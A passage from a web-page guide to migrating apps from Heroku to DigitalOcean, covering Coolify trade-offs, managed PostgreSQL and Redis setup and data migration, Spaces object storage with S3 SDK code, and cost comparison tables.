          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h4-when-coolify-is-the-right-choice"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h4><p>Coolify shines in specific scenarios. It&#39;s ideal when you&#39;re running multiple applications and want to consolidate them on shared infrastructure — the cost savings compound quickly. You&#39;ll need basic Linux comfort (SSH, Docker concepts, reading logs), but you don&#39;t need to be a sysadmin. If you&#39;re currently spending $500+/month on Heroku across several apps, Coolify can cut that to $24-$96/month.</p>
<p>The traffic sweet spot is 1K-10K requests/minute on an 8GB Droplet. Beyond that, you&#39;ll want to either scale vertically to 16GB+ or consider moving to App Platform for horizontal scaling.</p>
<p><strong>Avoid Coolify if</strong> you need enterprise SLAs, 24/7 vendor support, or multi-region redundancy out of the box. It&#39;s also not the right choice if you&#39;ve never SSH&#39;d into a server before — there&#39;s a learning curve. And while you can vertically scale Droplets quickly, instant horizontal auto-scaling isn&#39;t available like it is with App Platform.</p>
<h4 id="h4-coolify-app-platform-hybrid" class="group relative scroll-mt-24">
        <a href="#h4-coolify-app-platform-hybrid" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Coolify + App Platform Hybrid
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h4-coolify-app-platform-hybrid"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h4><p>Many teams find the sweet spot by using both platforms. Run your staging and development environments on Coolify for $24/month, and keep production on App Platform with managed services for $83/month. This gives you cost-effective testing environments and production reliability.</p>
<p>Total cost: $107/month compared to $490/month on Heroku for equivalent staging + production environments. That&#39;s 78% savings while maintaining the safety of managed infrastructure where it matters most.</p>
<hr>
<h3 id="h3-2-managed-databases" class="group relative scroll-mt-24">
        <a href="#h3-2-managed-databases" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          2. Managed Databases
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-2-managed-databases"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>DigitalOcean&#39;s Managed Databases offer PostgreSQL, MySQL, MongoDB, and Redis with automated backups, point-in-time recovery, read replicas, and connection pooling.</p>
<h4 id="h4-postgresql-setup" class="group relative scroll-mt-24">
        <a href="#h4-postgresql-setup" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          PostgreSQL Setup
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h4-postgresql-setup"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h4><p><strong>Create via CLI</strong>:</p>
<pre><code class="hljs language-bash"><span class="hljs-comment"># Create production database cluster</span>
doctl databases create production-postgres \
  --engine pg \
  --version 15 \
  --region nyc3 \
  --size db-s-2vcpu-4gb \
  --num-nodes 1

<span class="hljs-comment"># Get connection details</span>
doctl databases connection production-postgres

<span class="hljs-comment"># Create database and user</span>
doctl databases db create production-postgres myapp
doctl databases user create production-postgres myapp-user
</code></pre><p><strong>Connection Pooling</strong> (recommended for production):</p>
<pre><code class="hljs language-bash"><span class="hljs-comment"># Create connection pool</span>
doctl databases pool create production-postgres myapp-pool \
  --db myapp \
  --user myapp-user \
  --size 25 \
  --mode transaction
</code></pre><p><strong>Connection string format</strong>:</p>
<pre><code># Direct connection
postgresql://username:password@host:25060/database?sslmode=require

# Pooled connection (recommended)
postgresql://username:password@host:25061/database?sslmode=require
</code></pre><h4 id="h4-migrating-data-from-heroku-postgres" class="group relative scroll-mt-24">
        <a href="#h4-migrating-data-from-heroku-postgres" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Migrating Data from Heroku Postgres
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h4-migrating-data-from-heroku-postgres"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h4><p><strong>Option 1: Logical Replication (Zero Downtime)</strong></p>
<p>Best for databases &gt;10GB with minimal downtime requirements.</p>
<pre><code class="hljs language-bash"><span class="hljs-comment"># 1. On Heroku Postgres, enable logical replication</span>
heroku pg:psql -a myapp
ALTER SYSTEM SET wal_level = logical;
SELECT pg_reload_conf();

<span class="hljs-comment"># 2. Create publication on source</span>
CREATE PUBLICATION heroku_pub FOR ALL TABLES;

<span class="hljs-comment"># 3. On DigitalOcean database, create subscription</span>
CREATE SUBSCRIPTION do_sub
CONNECTION <span class="hljs-string">&#x27;postgresql://heroku_host:5432/database&#x27;</span>
PUBLICATION heroku_pub;

<span class="hljs-comment"># 4. Monitor replication lag</span>
SELECT * FROM pg_stat_subscription;

<span class="hljs-comment"># 5. When lag is near zero, stop writes and switch</span>
</code></pre><p><strong>Option 2: pg_dump/pg_restore (Simpler, Downtime Required)</strong></p>
<p>Best for databases &lt;10GB or when downtime is acceptable.</p>
<pre><code class="hljs language-bash"><span class="hljs-comment"># 1. Put Heroku app in maintenance mode</span>
heroku maintenance:on -a myapp

<span class="hljs-comment"># 2. Create dump from Heroku</span>
heroku pg:backups:capture -a myapp
heroku pg:backups:download -a myapp

<span class="hljs-comment"># 3. Restore to DigitalOcean</span>
pg_restore --verbose --clean --no-acl --no-owner \
  -h do-host -U do-user -d myapp latest.dump

<span class="hljs-comment"># 4. Verify data integrity</span>
psql -h do-host -U do-user -d myapp -c <span class="hljs-string">&quot;SELECT count(*) FROM users;&quot;</span>

<span class="hljs-comment"># 5. Update DATABASE_URL in App Platform</span>
<span class="hljs-comment"># 6. Deploy and test</span>
<span class="hljs-comment"># 7. Turn off Heroku maintenance mode</span>
</code></pre><h4 id="h4-backup-configuration" class="group relative scroll-mt-24">
        <a href="#h4-backup-configuration" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Backup Configuration
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h4-backup-configuration"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h4><p>DigitalOcean automatically backs up databases daily:</p>
<pre><code class="hljs language-bash"><span class="hljs-comment"># List available backups</span>
doctl databases backups list production-postgres

<span class="hljs-comment"># Restore from backup</span>
doctl databases backups restore production-postgres backup-id

<span class="hljs-comment"># Fork database to new cluster (for testing)</span>
doctl databases fork production-postgres test-postgres \
  --restore-from-timestamp <span class="hljs-string">&quot;2026-03-01T10:30:00Z&quot;</span>
</code></pre><p><strong>Point-in-Time Recovery</strong>: Available on clusters $40/month and above. Allows restore to any point within 7-day window.</p>
<h4 id="h4-cost-comparison" class="group relative scroll-mt-24">
        <a href="#h4-cost-comparison" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Cost Comparison
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h4-cost-comparison"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h4><table>
<thead>
<tr>
<th><strong>Heroku Postgres</strong></th>
<th><strong>DigitalOcean Managed DB</strong></th>
<th><strong>Savings</strong></th>
</tr>
</thead>
<tbody><tr>
<td>Hobby-dev: Free (10K rows limit)</td>
<td>Basic (1GB RAM, 10GB disk): $15/month</td>
<td>N/A</td>
</tr>
<tr>
<td>Mini: $5/month (10M rows)</td>
<td>Same as above</td>
<td>N/A</td>
</tr>
<tr>
<td>Standard-0: $50/month (64GB storage)</td>
<td>Professional (2GB RAM, 25GB): $30/month</td>
<td>40%</td>
</tr>
<tr>
<td>Standard-4: $200/month (256GB storage)</td>
<td>Professional (4GB RAM, 80GB): $60/month</td>
<td>70%</td>
</tr>
<tr>
<td>Premium-5: $350/month (512GB storage)</td>
<td>Professional (8GB RAM, 160GB): $120/month</td>
<td>66%</td>
</tr>
</tbody></table>
<hr>
<h3 id="h3-3-managed-redis" class="group relative scroll-mt-24">
        <a href="#h3-3-managed-redis" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          3. Managed Redis
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-3-managed-redis"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>DigitalOcean&#39;s Managed Redis offers high-performance caching and session storage with automated failover.</p>
<h4 id="h4-setup" class="group relative scroll-mt-24">
        <a href="#h4-setup" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Setup
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h4-setup"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h4><pre><code class="hljs language-bash"><span class="hljs-comment"># Create Redis cluster</span>
doctl databases create production-redis \
  --engine redis \
  --version 7 \
  --region nyc3 \
  --size db-s-1vcpu-1gb \
  --num-nodes 1

<span class="hljs-comment"># Get connection details</span>
doctl databases connection production-redis
</code></pre><p><strong>Connection string format</strong>:</p>
<pre><code>redis://username:password@host:25061?ssl=true
</code></pre><h4 id="h4-migration-from-heroku-redis" class="group relative scroll-mt-24">
        <a href="#h4-migration-from-heroku-redis" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Migration from Heroku Redis
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h4-migration-from-heroku-redis"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h4><p><strong>Option 1: Application-Level Migration</strong> (Recommended)</p>
<p>Let cache warm up naturally after switching:</p>
<pre><code class="hljs language-bash"><span class="hljs-comment"># 1. Deploy app with REDIS_URL pointing to DigitalOcean</span>
<span class="hljs-comment"># 2. Cache will repopulate on cache misses</span>
<span class="hljs-comment"># 3. No data migration needed for true caching</span>
</code></pre><p><strong>Option 2: redis-cli DUMP/RESTORE</strong> (For persistent data):</p>
<pre><code class="hljs language-bash"><span class="hljs-comment"># Install redis-cli</span>
brew install redis  <span class="hljs-comment"># macOS</span>

<span class="hljs-comment"># Export from Heroku</span>
heroku redis:cli -a myapp
SAVE  <span class="hljs-comment"># Force snapshot</span>
BGSAVE  <span class="hljs-comment"># Background save</span>

<span class="hljs-comment"># Use redis-copy tool for migration</span>
npm install -g redis-copy

redis-copy \
  --src redis://heroku-redis-url \
  --dst rediss://do-redis-url
</code></pre><h4 id="h4-eviction-policies" class="group relative scroll-mt-24">
        <a href="#h4-eviction-policies" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Eviction Policies
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h4-eviction-policies"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h4><p>Configure via DigitalOcean UI or CLI:</p>
<pre><code class="hljs language-bash"><span class="hljs-comment"># Set maxmemory policy</span>
doctl databases options <span class="hljs-built_in">set</span> production-redis \
  --config maxmemory-policy=allkeys-lru
</code></pre><p>Common policies:</p>
<ul>
<li><code>allkeys-lru</code>: Evict least recently used keys (recommended for caching)</li>
<li><code>volatile-lru</code>: Evict LRU keys with TTL set</li>
<li><code>noeviction</code>: Return errors when memory full (for queues)</li>
</ul>
<h4 id="h4-cost-comparison" class="group relative scroll-mt-24">
        <a href="#h4-cost-comparison" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Cost Comparison
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h4-cost-comparison"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h4><table>
<thead>
<tr>
<th><strong>Heroku Redis</strong></th>
<th><strong>DigitalOcean Redis</strong></th>
<th><strong>Savings</strong></th>
</tr>
</thead>
<tbody><tr>
<td>Mini: $15/month (25MB)</td>
<td>Basic (1GB RAM): $15/month</td>
<td>0% but 40× capacity</td>
</tr>
<tr>
<td>Premium-0: $15/month (100MB)</td>
<td>Basic (1GB RAM): $15/month</td>
<td>0% but 10× capacity</td>
</tr>
<tr>
<td>Premium-5: $350/month (4GB)</td>
<td>Professional (4GB RAM): $60/month</td>
<td>83%</td>
</tr>
</tbody></table>
<hr>
<h3 id="h3-4-spaces-object-storage" class="group relative scroll-mt-24">
        <a href="#h3-4-spaces-object-storage" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          4. Spaces (Object Storage)
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-4-spaces-object-storage"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Spaces is DigitalOcean&#39;s S3-compatible object storage. Fully compatible with AWS SDK, making migration from S3 trivial.</p>
<h4 id="h4-creating-a-space" class="group relative scroll-mt-24">
        <a href="#h4-creating-a-space" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Creating a Space
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h4-creating-a-space"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h4><pre><code class="hljs language-bash"><span class="hljs-comment"># Create Space</span>
doctl compute spaces create myapp-production \
  --region nyc3

<span class="hljs-comment"># Generate API keys</span>
doctl compute spaces keys create myapp-spaces-key
</code></pre><h4 id="h4-s3-sdk-configuration" class="group relative scroll-mt-24">
        <a href="#h4-s3-sdk-configuration" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          S3 SDK Configuration
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h4-s3-sdk-configuration"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h4><p><strong>Node.js (AWS SDK v3)</strong>:</p>
<pre><code class="hljs language-javascript"><span class="hljs-keyword">import</span> { S3Client, <span class="hljs-title class_">PutObjectCommand</span> } <span class="hljs-keyword">from</span> <span class="hljs-string">&#x27;@aws-sdk/client-s3&#x27;</span>;

<span class="hljs-keyword">const</span> s3Client = <span class="hljs-keyword">new</span> <span class="hljs-title function_">S3Client</span>({
  <span class="hljs-attr">endpoint</span>: <span class="hljs-string">&#x27;https://nyc3.digitaloceanspaces.com&#x27;</span>,
  <span class="hljs-attr">region</span>: <span class="hljs-string">&#x27;us-east-1&#x27;</span>,  <span class="hljs-comment">// Required but ignored</span>
  <span class="hljs-attr">credentials</span>: {
    <span class="hljs-attr">accessKeyId</span>: process.<span class="hljs-property">env</span>.<span class="hljs-property">SPACES_KEY</span>,
    <span class="hljs-attr">secretAccessKey</span>: process.<span class="hljs-property">env</span>.<span class="hljs-property">SPACES_SECRET</span>,
  },
});

<span class="hljs-comment">// Upload file</span>
<span class="hljs-keyword">await</span> s3Client.<span class="hljs-title function_">send</span>(<span class="hljs-keyword">new</span> <span class="hljs-title class_">PutObjectCommand</span>({
  <span class="hljs-title class_">Bucket</span>: <span class="hljs-string">&#x27;myapp-production&#x27;</span>,
  <span class="hljs-title class_">Key</span>: <span class="hljs-string">&#x27;uploads/avatar.jpg&#x27;</span>,
  <span class="hljs-title class_">Body</span>: fileBuffer,
  <span class="hljs-attr">ACL</span>: <span class="hljs-string">&#x27;public-read&#x27;</span>,  <span class="hljs-comment">// Or &#x27;private&#x27;</span>
}));

<span class="hljs-comment">// Public URL format</span>
<span class="hljs-keyword">const</span> publicUrl = <span class="hljs-string">`https://myapp-production.nyc3.digitaloceanspaces.com/uploads/avatar.jpg`</span>;

<span class="hljs-comment">// CDN URL (if enabled)</span>
<span class="hljs-keyword">const</span> cdnUrl = <span class="hljs-string">`https://myapp-production.nyc3.cdn.digitaloceanspaces.com/uploads/avatar.jpg`</span>;
</code></pre><p><strong>Ruby (aws-sdk-s3)</strong>:</p>
<pre><code class="hljs language-ruby"><span class="hljs-keyword">require</span> <span class="hljs-string">&#x27;aws-sdk-s3&#x27;</span>

s3 = <span class="hljs-title class_">Aws::S3::Resource</span>.new(
  <span class="hljs-symbol">endpoint:</span> <span class="hljs-string">&#x27;https://nyc3.digitaloceanspaces.com&#x27;</span>,
  <span class="hljs-symbol">access_key_id:</span> <span class="hljs-variable constant_">ENV</span>[<span class="hljs-string">&#x27;SPACES_KEY&#x27;</span>],
  <span class="hljs-symbol">secret_access_key:</span> <span class="hljs-variable constant_">ENV</span>[<span class="hljs-string">&#x27;SPACES_SECRET&#x27;</span>],
  <span class="hljs-symbol">region:</span> <span class="hljs-string">&#x27;us-east-1&#x27;</span>
)

obj = s3.bucket(<span class="hljs-string">&#x27;myapp-production&#x27;</span>).object(<span class="hljs-string">&#x27;uploads/avatar.jpg&#x27;</span>)
obj.upload_file(<span class="hljs-string">&#x27;/path/to/file.jpg&#x27;</span>, <span class="hljs-symbol">acl:</span> <span class="hljs-string">&#x27;public-read&#x27;</span>)

puts obj.public_url
</code></pre><h4 id="h4-migrating-from-aws-s3" class="group relative scroll-mt-24">
        <a href="#h4-migrating-from-aws-s3" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Migrating from AWS S3
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h4-migrating-from-aws-s3"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h4><p><strong>Option 1: aws-cli sync</strong>:</p>
<pre><code class="hljs language-bash"><span class="hljs-comment"># Install aws-cli if not present</span>
brew install awscli

<span class="hljs-comment"># Sync from S3 to Spaces</span>
AWS_ACCESS_KEY_ID=<span class="hljs-variable">$SPACES_KEY</span> \
AWS_SECRET_ACCESS_KEY=<span class="hljs-variable">$SPACES_SECRET</span> \
aws s3 <span class="hljs-built_in">sync</span> s3://my-heroku-bucket/ s3://myapp-production/ \
  --endpoint-url https://nyc3.digitaloceanspaces.com
</code></pre><p><strong>Option 2: rclone (for large datasets)</strong>:</p>
<pre><code class="hljs language-bash"><span class="hljs-comment"># Install rclone</span>
brew install rclone

<span class="hljs-comment"># Configure source (S3)</span>
rclone config create s3-source s3 \
  access_key_id=<span class="hljs-variable">$AWS_ACCESS_KEY</span> \
  secret_access_key=<span class="hljs-variable">$AWS_SECRET_KEY</span>

<span class="hljs-comment"># Configure destination (Spaces)</span>
rclone config create do-spaces s3 \
  access_key_id=<span class="hljs-variable">$SPACES_KEY</span> \
  secret_access_key=<span class="hljs-variable">$SPACES_SECRET</span> \
  endpoint=nyc3.digitaloceanspaces.com

<span class="hljs-comment"># Sync with progress</span>
rclone <span class="hljs-built_in">sync</span> s3-source:my-bucket do-spaces:myapp-production --progress
</code></pre><h4 id="h4-cdn-integration" class="group relative scroll-mt-24">
        <a href="#h4-cdn-integration" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          CDN Integration
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h4-cdn-integration"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h4><p>Enable built-in CDN (free) for faster global delivery:</p>
<pre><code class="hljs language-bash"><span class="hljs-comment"># Enable CDN via UI: Spaces → Settings → CDN</span>
<span class="hljs-comment"># CDN endpoint: https://myapp-production.nyc3.cdn.digitaloceanspaces.com</span>
</code></pre><p>Benefits:</p>
<ul>
<li>Free CDN (included in Spaces pricing)</li>
<li>Automatic TLS/SSL</li>
<li>Global edge caching</li>
<li>No Cloudflare setup needed</li>
</ul>
<h4 id="h4-cost-comparison" class="group relative scroll-mt-24">
        <a href="#h4-cost-comparison" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Cost Comparison
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h4-cost-comparison"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
